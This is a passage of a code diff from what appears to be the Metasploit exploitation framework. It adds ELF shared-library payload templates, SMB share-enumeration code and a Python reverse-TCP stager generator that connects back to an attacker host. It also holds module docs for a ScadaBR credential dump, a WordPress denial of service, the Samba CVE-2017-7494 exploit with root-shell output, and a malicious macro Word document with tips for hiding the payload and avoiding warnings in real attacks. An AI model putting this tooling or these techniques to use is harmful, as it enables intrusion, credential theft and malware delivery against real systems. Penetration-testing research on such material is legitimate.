w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="15"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="differentiateMultirowTableHeaders" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="0075759D"/><w:rsid w:val="000446F5"/><w:rsid w:val="00364989"/><w:rsid w:val="00366A6C"/><w:rsid w:val="003925D3"/><w:rsid w:val="00472204"/><w:rsid w:val="004929CB"/><w:rsid w:val="004937C6"/><w:rsid w:val="004E70C7"/><w:rsid w:val="00556042"/><w:rsid w:val="005C1470"/><w:rsid w:val="00634AFC"/><w:rsid w:val="0075759D"/><w:rsid w:val="008352C1"/><w:rsid w:val="008D18EE"/><w:rsid w:val="008F274A"/><w:rsid w:val="009337EB"/><w:rsid w:val="00965754"/><w:rsid w:val="00A31ED0"/><w:rsid w:val="00AA0D43"/><w:rsid w:val="00BD14BB"/><w:rsid w:val="00C22BA6"/><w:rsid w:val="00D4037B"/><w:rsid w:val="00DD6E1E"/><w:rsid w:val="00E636EA"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/><w15:chartTrackingRefBased/><w15:docId w15:val="{0E28A8EC-7E3E-41BD-9D1E-ADE8B995AEE4}"/></w:settings>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1,2 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" mc:Ignorable="w14 w15"><w:optimizeForBrowser/><w:relyOnVML/><w:allowPNG/></w:webSettings>

View File

@ -0,0 +1,92 @@
; build with:
; nasm elf_dll_armle_template.s -f bin -o template_armle_linux_dll.bin
BITS 32
org 0
ehdr:
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0
dw 3 ; e_type = ET_DYN
dw 40 ; e_machine = EM_ARMLE
dd 1 ; e_version = EV_CURRENT
dd _start ; e_entry = _start
dd phdr - $$ ; e_phoff
dd shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr:
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dd dynsection ; p_offset
dd dynsection ; p_vaddr
dd dynsection ; p_vaddr
dd dynsz ; p_filesz
dd dynsz ; p_memsz
dd 0x1000 ; p_align
shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dd 0 ; sh_flags
dd dynsection ; sh_addr
dd dynsection ; sh_offset
dd dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 8 ; sh_addralign
dd 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dd 0 ; sh_flags
dd strtab ; sh_addr
dd strtab ; sh_offset
dd strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 0 ; sh_addralign
dd 0 ; sh_entsize
dynsection:
; DT_INIT
dd 0x0c
dd _start
; DT_STRTAB
dd 0x05
dd strtab
; DT_SYMTAB
dd 0x06
dd strtab
; DT_STRSZ
dd 0x0a
dd 0
; DT_SYMENT
dd 0x0b
dd 0
; DT_NULL
dd 0x00
dd 0
dynsz equ $ - dynsection
strtab:
db 0
db 0
strtabsz equ $ - strtab
global _start
_start:

View File

@ -0,0 +1,92 @@
; build with:
; nasm elf_dll_x86_template.s -f bin -o template_x86_linux_dll.bin
BITS 32
org 0
ehdr:
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0
dw 3 ; e_type = ET_DYN
dw 3 ; e_machine = EM_386
dd 1 ; e_version = EV_CURRENT
dd _start ; e_entry = _start
dd phdr - $$ ; e_phoff
dd shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr:
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align
phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dd dynsection ; p_offset
dd dynsection ; p_vaddr
dd dynsection ; p_vaddr
dd dynsz ; p_filesz
dd dynsz ; p_memsz
dd 0x1000 ; p_align
shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dd 0 ; sh_flags
dd dynsection ; sh_addr
dd dynsection ; sh_offset
dd dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 8 ; sh_addralign
dd 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dd 0 ; sh_flags
dd strtab ; sh_addr
dd strtab ; sh_offset
dd strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 0 ; sh_addralign
dd 0 ; sh_entsize
dynsection:
; DT_INIT
dd 0x0c
dd _start
; DT_STRTAB
dd 0x05
dd strtab
; DT_SYMTAB
dd 0x06
dd strtab
; DT_STRSZ
dd 0x0a
dd 0
; DT_SYMENT
dd 0x0b
dd 0
; DT_NULL
dd 0x00
dd 0
dynsz equ $ - dynsection
strtab:
db 0
db 0
strtabsz equ $ - strtab
global _start
_start:

Binary file not shown.

Binary file not shown.

View File

@ -17,8 +17,6 @@ RUN apk update && \
nmap-scripts \
nmap-nselibs \
postgresql-libs \
# needed as long as metasploit-framework.gemspec contains a 'git ls'
git \
ncurses \
libcap \
&& apk add --virtual .ruby-builddeps \

View File

@ -0,0 +1,63 @@
## Description
This module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the `EmportDwr.createExportData` DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level.
## Vulnerable Application
ScadaBR is a SCADA (Supervisory Control and Data Acquisition) system with applications in Process Control and Automation, being developed and distributed using the open source model.
This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems.
Installers:
* [Windows Installers](https://sourceforge.net/projects/scadabr/files/Software/Installer%20Win32/)
* [Linux Installers](https://sourceforge.net/projects/scadabr/files/Software/Linux/)
* [Tomcat WAR files](https://sourceforge.net/projects/scadabr/files/Software/WAR/)
## Verification Steps
1. Start `msfconsole`
2. Do: `use auxiliary/admin/http/scadabr_credential_dump`
3. Do: `set rhost [IP]`
4. Do: `set username [USERNAME]`
5. Do: `set password [PASSWORD]`
6. Do: `run`
7. You should get credentials
## Sample Output
```
[+] 172.16.191.166:8080 Authenticated successfully as 'admin'
[+] 172.16.191.166:8080 Export successful (4436 bytes)
[+] Found 5 users
[*] Found weak credentials (admin:admin)
[*] Found weak credentials (user:password)
[*] Found weak credentials (zxcv:zxcv)
ScadaBR User Credentials
========================
Username Password Hash (SHA1) Admin E-mail
-------- -------- ----------- ----- ------
admin admin d033e22ae348aeb5660fc2140aec35850c4da997 true admin@yourMangoDomain.com
operator ef0cade28a5696433326749bb57c39104ca33550 false operator@localhost
test 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 false test@localhost
user password 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 true user@localhost
zxcv zxcv 9878e362285eb314cfdbaa8ee8c300c285856810 false zxcv@localhost
ScadaBR Service Credentials
===========================
Service Host Port Username Password
------- ---- ---- -------- --------
HTTP proxy 127.0.0.1 8080 proxytestuser proxytestpass
SMTP 127.0.0.1 25 smtptestuser smtptestpass
[+] Config saved in: /root/.msf4/loot/20170527210941_default_172.16.191.166_scadabr.config_861842.txt
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,41 @@
## Vulnerable Application
This module exploits a Cross-site request forgery (CSRF) vulnerability in the [wp_ajax_update_plugin](https://core.trac.wordpress.org/changeset/38168)
function in wp-admin/includes/ajax-actions.php in Wordpress before 4.6. This allows remote authenticated users to cause a denial of
service (with /dev/random read operations).
You can find the vulnerable application like [4.5.3](https://wordpress.org/wordpress-4.5.3.tar.gz) from the
[official website](https://wordpress.org/download/release-archive/)
## Verification Steps
1. Start msfconsole
2. Do: ```use auxiliary/dos/http/wordpress_directory_traversal_dos.rb```
3. Do: ```set RHOST [IP]```
4. Do: ```set TARGETURI [WordPress path]```
5. Do: ```set USERNAME [Valid Username]```
6. Do: ```set PASSWORD [Valid Password]```
7. Do: ```exploit```
8. WordPress website should be down
## Scenarios
### Wordpress 4.5.3 on Linux Mint 17.3
```
msf auxiliary(wordpress_directory_traversal_dos) > exploit
[*] Checking if user "test" exists...
[+] Username "test" is valid
[*] Executing requests 1 - 5...
[+] Finished executing requests 1 - 5
[*] Executing requests 6 - 10...
[+] Finished executing requests 6 - 10
...
[*] Executing requests 191 - 195...
[+] Finished executing requests 191 - 195
[*] Executing requests 196 - 200...
[+] Finished executing requests 196 - 200
[+] SUCCESS: /wordpress appears to be down
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,121 @@
## Vulnerable Application
This module exploits Samba from versions 3.5.0-4.4.14, 4.5.10, and 4.6.4 by loading a malicious shared library.
Samba's download archives are [here](https://download.samba.org/pub/samba/stable/). There are some requirements
for this exploit to be successful:
1. Valid credentials
2. Writeable folder in an accessible share
3. Server-side path of the writeable folder
However, in some cases anonymous access with common filesystem locations can be used to automate exploitation.
A vulnerable Samba config may have a share similar to the following in `smb.conf`. This is a setup for 'easy' exploitation
where no SMB options are required to be set:
```
[exploitable]
comment = CVE-2017-7494
path = /tmp
writable = yes
browseable = yes
guest ok = yes
```
Verified on:
1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)
2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)
3. Synology DS1512+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)
4. Synology DS1512+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)
5. Synology DS2415+ DSM 6.1-15047 (Samba 4.3.11)
6. Ubuntu 14.04.5 x64 (Samba 4.3.9)
7. Ubuntu 15.04 (Samba 4.1.13)
8. Ubuntu 16.04 (Samba 4.3.11)
* 1:4.3.11+dfsg-0ubuntu0.16.04.3 and older are vulnerable, fixed in [2:4.3.11+dfsg-0ubuntu0.16.04.7](https://launchpad.net/ubuntu/+source/samba/2:4.3.11+dfsg-0ubuntu0.16.04.7)
9. Fedora 24 (Samba 4.4.13)
Currently not working against:
1. QNAP NAS Samba 4.4.9 on armv71
2. WD MyClous NAS Samba 4.0.0rc5 armv71
### SELinux
Fedora (and possibly Redhat) are not exploitable in their default installation. SELinux must be adjusted to allow nmbd to use net_admin, and smbd to exec the payload.
```
echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } for pid=2365 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495717997.099:267): avc: denied { net_admin } for pid=959 comm="nmbd" capability=12 scontext=system_u:system_r:nmbd_t:s0 tcontext=system_u:system_r:nmbd_t:s0 tclass=capability permissive=0\ntype=AVC msg=audit(1495745002.690:308): avc: denied { execmem } for pid=1830 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495745183.319:331): avc: denied { execute } for pid=2313 comm="smbd" path="/tmp/ucFtDpZI.so" dev="tmpfs" ino=27436 scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:object_r:smbd_tmp_t:s0 tclass=file permissive=0" | audit2allow -M cve-2017-7494; semodule -X 300 -i cve-2017-7494.pp
```
## Verification Steps
1. Start msfconsole
2. Do: ```use exploit/linux/samba/is_known_pipename```
3. Do: ```set rhost [ip]```
4. Do: ```set target [target #]```
5. Do: ```exploit```
## Options
**SMB_SHARE_NAME**
The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this
variable is non-blank, it will be preferred.
**SMB_SHARE_BASE**
The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are
brute forced including:
1. /volume1
2. /volume2
3. /volume3
4. /shared
5. /mnt
6. /mnt/usb
7. /media
8. /mnt/media
9. /var/samba
10. /tmp/home/home/shared
**SMB_FOLDER**
The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this
variable is non-blank, it will be preferred.
## Scenarios
### Synology DS412+ w/ INTEL Atom D2700 on DSM 6.1.1-15101 Update 2
```
msf exploit(is_known_pipename) > exploit
[*] Started reverse TCP handler on 1.2.3.117:4444
[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path
[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so
[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so...
[-] 1.2.3.119:445 - Probe: /volume1/eePUbtdw.so: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
[*] 1.2.3.119:445 - Trying location /volume1/ESX/eePUbtdw.so...
[*] Command shell session 1 opened (1.2.3.117:4444 -> 1.2.3.119:34366) at 2017-05-24 21:12:07 -0400
id
uid=0(root) gid=0(root) groups=0(root),100(users)
uname -a
Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Linux synology_cedarview_412+
```
### Ubuntu 16.04
```
msf exploit(is_known_pipename) > exploit
[*] Started reverse TCP handler on 192.168.0.3:4444
[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path
[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so
[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so...
[*] Command shell session 6 opened (192.168.0.3:4444 -> 192.168.0.3:45076) at 2017-05-24 19:41:40 -0500
id
uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)
```

View File

@ -1,13 +1,16 @@
## Description
This module generates a macro-enabled Microsoft Office Word document. It does not target a specific
CVE or vulnerability, this is more of a feature-abuse in Office, however this type of
social-engineering attack still remains common today.
This module generates a macro-enabled Microsoft Office Word document (docm). It does not target a
specific CVE or vulnerability, instead it's more of a feature-abuse in Office, and yet it's still a
popular type of social-engineering attack such as in ransomware.
There are many ways to create this type of malicious doc. The module injects the Base64-encoded
payload in the comments field, which will get decoded back by the macro and executed as a Windows
executable when the Office document is launched.
By default, the module uses a built-in Office document (docx) as the template. It injects the
Base64-encoded payload into the comments field, which will get decoded back by the macro and executed
as a Windows executable when the Office document is launched.
If you do not wish to use the built-in docx template, you can also choose your own. Please see more
details below.
## Vulnerable Application
@ -22,58 +25,74 @@ Specifically, this module was tested specifically against:
* Microsoft Office 2016.
* Microsoft Office Word 15.29.1 (161215).
## Building the Office Document Template
It is recommended that you build your Office document (docx) template from either one of these
applications:
* Google Docs
* Microsoft Office Word
**Google Docs**
Google Docs is ideal in case you don't have Microsoft Office available.
Before you start, make sure you have a Gmail account.
Next, to create a new document, please go to the following:
[https://docs.google.com/document/?usp=mkt_docs](https://docs.google.com/document/?usp=mkt_docs)
To save the document as a docx on Google docs:
1. Click on File
2. Go to Download as
3. Click on Microsoft Word (.docx)
**Microsoft Office Word**
If you already have Microsoft Office, you can use it to create a docx file and use it as a template.
## Verification Steps
**To use the default template**
1. ```use exploit/multi/fileformat/office_word_macro```
2. ```set PAYLOAD [PAYLOAD NAME]```
3. Configure the rest of the settings accordingly (BODY, LHOST, LPORT, etc)
3. Configure the rest of the settings accordingly (LHOST, LPORT, etc)
4. ```exploit```
5. The module should generate the malicious docm.
**To use the custom template**
1. ```use exploit/multi/fileformat/office_word_macro```
2. ```set PAYLOAD [PAYLOAD NAME]```
3. ```set CUSTOMTEMPLATE [DOCX PATH]```
4. Configure the rest of the settings accordingly
5. ```exploit```
6. The module should generate the malicious docm.
## Options
**BODY** Text to put in the Office document. See **Modification** below if you wish to modify more.
## Demo
In this example, first we generate the malicious docm exploit, and then we set up a
windows/meterpreter/reverse_tcp handler to receive a session. Next, we copy the docm
exploit to a Windows machine with Office 2013 installed, when the document runs the
macro, we get a session:
![macro_demo](https://cloud.githubusercontent.com/assets/1170914/22602348/751f9d66-ea08-11e6-92ce-4e52f88aaebf.gif)
## Modification
To use this exploit in a real environment, you will most likely need to modify the docm content.
Here's one approach you can do:
1. Use the module to generate the malicious docm
2. Copy the malicious docm to the vulnerable machine, and edit it with Microsoft Office (such as 2013).
When you open the document, the payload will probably do something on your machine. It's ok,
since you generated it, it should not cause any problems for you.
3. Save the doc, and test again to make sure the payload still works.
While editing, you should avoid modifying the following unless you are an advanced user:
* The comments field. If you have to modify this, make sure to create 55 empty spaces
in front of the payload string. The blank space is for making the payload less obvious
at first sight if the user views the file properties.
* The VB code in the macro.
**CUSTOMTEMPLATE** A docx file that will be used as a template to build the exploit.
## Trusted Document
By default, Microsoft Office does not execute macros automatically unless it is considered as a
trusted document. This means that if a macro is present, the user will most likely need to manually
click on the "Enable Content" button in order to run the macro.
click on the "Enable Content" or "Enable Macro" button in order to run the macro.
Many in-the-wild attacks face this type of challenge, and most rely on social-engineering to trick
the user into allowing the macro to run. For example, making the document look like something
written from a legit source, such as [this attack](https://motherboard.vice.com/en_us/article/these-hackers-cleverly-disguised-their-malware-as-a-document-about-trumps-victory).
To truly make the macro document to run without any warnings, you must somehow figure out a way to
To truly make the macro document run without any warnings, you must somehow figure out a way to
sign the macro by a trusted publisher, or using a certificate that the targeted machine trusts.
If money is not an issue, you can easily buy a certificate on-line:
[https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html](https://www.sslshopper.com/microsoft-vba-code-signing-certificates.html)
For testing purposes, another way to have a certificate is to create a self-signed one using
Microsoft Office's SELFCERT.exe utility. This tool can be found in the following path on
Windows:

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.14.22"
VERSION = "4.14.24"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -125,9 +125,10 @@ module Msf
#
# You should call {#connect} before calling this
#
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
# @return [void]
def smb_login
simple.login(
def smb_login(simple_client = self.simple)
simple_client.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
@ -142,7 +143,7 @@ module Msf
datastore['SMB::Native_LM'],
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$")
end
@ -637,6 +638,201 @@ module Msf
lang
end
# Map an integer share type to a human friendly descriptor
def smb_lookup_share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
# Retrieve detailed information about a specific share using any available method
def smb_netsharegetinfo(share)
smb_srvsvc_netsharegetinfo(share)
end
# Retrieve detailed share dinformation via the NetShareGetInfo function in the Server Service
def smb_srvsvc_netsharegetinfo(share)
shares = []
simple.connect("\\\\#{rhost}\\IPC$")
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error(e.message)
return []
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.wstring(share) +
NDR.long(2)
response = dcerpc.call(0x10, stubdata)
if ! response
raise RuntimeError, "Invalid DCERPC response: <empty>"
end
head = response.slice!(0, 40)
if head.length != 40
raise RuntimeError, "Invalid DCERPC response: not enough data"
end
share_info = {
share_type: head[12, 4].unpack('V').first,
permissions: head[20, 4].unpack('V').first,
max_users: head[24, 4].unpack('V').first,
}
idx = 0
[:share, :comment, :path, :password].each do |field|
field_info = response[idx, 12].unpack("V*")
break if field_info.length == 0
idx += 12
field_text = response[idx, field_info.first * 2]
share_info[ field ] = field_text.gsub("\x00", '')
idx += (field_info.first * 2)
idx += (idx % 4)
end
share_info
end
# Retreive a list of all shares using any available method
def smb_netshareenumall
begin
return smb_srvsvc_netshareenumall
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Warning: NetShareEnumAll failed via Server Service, falling back to LANMAN: #{e}")
fail_with(Failure::NoTarget, "No matching target")
return smb_lanman_netshareenumall
end
end
# Retrieve a list of shares via the NetShareEnumAll function in the Server Service
def smb_srvsvc_netshareenumall
shares = []
simple.connect("\\\\#{rhost}\\IPC$")
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error(e.message)
return []
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << ["FFFFFFFF"].pack("H*")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
raise RuntimeError, "Invalid DCERPC response: win_error = #{win_error}"
end
# Remove unused data
res.slice!(0,12) # level, CTR header, Reference ID of CTR
share_count = res.slice!(0, 4).unpack("V")[0]
res.slice!(0,4) # Reference ID of CTR1
share_max_count = res.slice!(0, 4).unpack("V")[0]
if share_max_count != share_count
raise RuntimeError, "Invalid DCERPC response: count != count max (#{share_count}/#{share_max_count})"
end
# ReferenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
if offset != 0
raise RuntimeError, "Invalid DCERPC response: offset != 0 (#{offset})"
end
if length != max_length
raise RuntimeError, "Invalid DCERPC response: length !=max_length (#{length}/#{max_length})"
end
name = res.slice!(0, 2 * length).gsub('\x00','')
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
if comment_offset != 0
raise RuntimeError, "Invalid DCERPC response: comment_offset != 0 (#{comment_offset})"
end
if comment_length != comment_max_length
raise RuntimeError, "Invalid DCERPC response: comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
end
comment = res.slice!(0, 2 * comment_length)
res.slice!(0,2) if comment_length % 2 == 1 # pad
name = Rex::Text.to_ascii(name).gsub("\x00", "")
s_type = Rex::Text.to_ascii(smb_lookup_share_type(types[t])).gsub("\x00", "")
comment = Rex::Text.to_ascii(comment).gsub("\x00", "")
shares << [ name, s_type, comment ]
end
shares
end
# Retrieve a list of shares via the NetShareEnumAll function in the LANMAN service
# This method can only return shares with names 12 bytes or less
def smb_lanman_netshareenumall
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Could not enumerate shares via LANMAN")
return []
end
if res.nil?
vprint_error("Could not enumerate shares via LANMAN")
return []
end
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, smb_lookup_share_type(stype), scomm]
end
shares
end
# @return [Rex::Proto::SMB::SimpleClient]
attr_accessor :simple
end

View File

@ -16,6 +16,14 @@ module Payload::Python::ReverseTcp
include Msf::Payload::Python
include Msf::Payload::Python::SendUUID
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
], self.class)
end
#
# Generate the first stage
#
@ -23,7 +31,8 @@ module Payload::Python::ReverseTcp
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
retry_count: datastore['StagerRetryCount'],
retry_wait: datastore['StagerRetryWait'],
}
generate_reverse_tcp(conf)
@ -43,9 +52,27 @@ module Payload::Python::ReverseTcp
def generate_reverse_tcp(opts={})
# Set up the socket
cmd = "import socket,struct\n"
cmd = "import socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
if opts[:retry_wait].blank? # do not retry at all (old style)
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
else
if opts[:retry_count] > 0
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
else
cmd << "while 1:\n"
end
cmd << "\ttry:\n"
cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
cmd << "\t\tbreak\n"
cmd << "\texcept:\n"
if opts[:retry_wait].to_i <= 0
cmd << "\t\tpass\n" # retry immediately
else
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
end
end
cmd << py_send_uuid if include_send_uuid
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
cmd << "d=s.recv(l)\n"

View File

@ -240,9 +240,6 @@ module ModuleCommandDispatcher
rescue ::RuntimeError => e
# Some modules raise RuntimeError but we don't necessarily care about those when we run check()
elog("#{e.message}\n#{e.backtrace.join("\n")}")
rescue Msf::OptionValidateError => e
print_error("{peer} - Check failed: #{e.message}")
elog("#{e.message}\n#{e.backtrace.join("\n")}")
rescue ::Exception => e
print_error("Check failed: #{e.class} #{e}")
elog("#{e.message}\n#{e.backtrace.join("\n")}")

View File

@ -1049,7 +1049,18 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
end
# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
# Create a 32-bit x86 Linux ELF_DYN containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String] Returns an elf
def self.to_linux_x86_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
end
# Create a 64-bit x86_64 Linux ELF_DYN containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
@ -1060,7 +1071,7 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
end
# self.to_linux_mipsle_elf
# Create a 32-bit ARMLE Linux ELF containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
@ -1071,7 +1082,18 @@ require 'msf/core/exe/segment_appender'
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
end
# self.to_linux_mipsle_elf
# Create a 32-bit ARMLE Linux ELF_DYN containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String] Returns an elf
def self.to_linux_armle_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
end
# Create a 32-bit MIPSLE Linux ELF containing the payload provided in +code+
